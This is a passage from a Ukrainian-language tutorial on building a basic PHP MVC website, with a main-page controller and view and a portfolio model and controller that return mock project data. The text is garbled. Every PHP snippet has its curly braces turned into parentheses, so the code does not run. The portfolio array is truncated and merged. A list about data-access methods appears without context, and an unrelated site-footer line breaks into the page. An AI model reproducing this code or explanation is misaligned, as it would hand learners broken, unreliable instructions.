    Для надання сайту презентабельного вигляду зверстаємо CSS шаблон і інтегруємо його в наш сайт шляхом зміни структури HTML-розмітки та підключення CSS та JavaScript файлів:

    Наприкінці статті, у розділі «Результат», наводиться посилання на GitHub-репозиторій із проектом, в якому виконані дії з інтеграції простенького шаблону.

    2.3.1. Створюємо головну сторінку Почнемо з контролера controller_main.php , ось його код:
    class Controller_Main extends Controller ( function action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    У метод generateекземпляра класу View передаються імена файлів загального шаблону та виду з контентом сторінки.
    Крім індексної дії в контролері, звичайно ж можуть утримуватися й інші дії.

    Файл із загальним виглядом ми розглянули раніше. Розглянемо файл контенту main_view.php :
    Ласкаво просимо! ОЛОЛОША TEAM - команда першокласних фахівців у галузі розробки веб-сайтів з багаторічним досвідом колекціонування мексиканських масок, бронзових та кам'яних статуй з Індії та Цейлону, барельєфів та статуй, створених майстрами Екваторіальної Африки п'ять-шість століть тому...
    Тут міститься проста розмітка без будь-яких PHP-дзвінків.
    Для відображення головної сторінки можна скористатися однією з наступних адрес:

    • методи бібліотек, що реалізують абстракіцю даних Наприклад, методи бібліотеки PEAR MDB2;
    • методи ORM;
    • методи для роботи з NoSQL;
    • та ін.
    • Для простоти, ми не будемо використовувати SQL-запити або ORM-оператори. Натомість ми семулюємо реальні дані і відразу повернемо масив результатів.
      Файл моделі model_portfolio.php помістимо до папки models. Ось його вміст:
      class Model_Portfolio extends Model ( public function get_data() ( return array (array ("Year" => "2012" , "Site" => "http://DunkelBeer.ru" , "Description" => "Промо-сайт темного пива Dunkel від німецького виробника Löwenbraü, що випускається в Росії, пивоварною компанією "CАН ІнБев"." "Російськомовний каталог китайських телефонів компанії Zopo на базі Android OS та аксесуарів до них."), // todo);)))

      Клас контролера моделі міститься у файлі controller_portfolio.php , ось його код:
      class Controller_Portfolio extends Controller ( function __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      У змінну dataзаписується масив, що повертається методом get_data, що ми розглядали раніше.
      Далі ця змінна передається як параметр методу generate, в який також передаються: ім'я файлу із загальним шаблоном та ім'я файлу, що містить вигляд c контентом сторінки.

      Вигляд містить контент сторінки знаходиться у файлі portfolio_view.php.
      Портфоліо

      Всі проекти в таблиці є вигаданими, тому навіть не намагайтеся перейти за наведеними посиланнями.

      2024 | Комп'ютери для всіх - Налаштування, встановлення, відновлення


      РікПроектОпис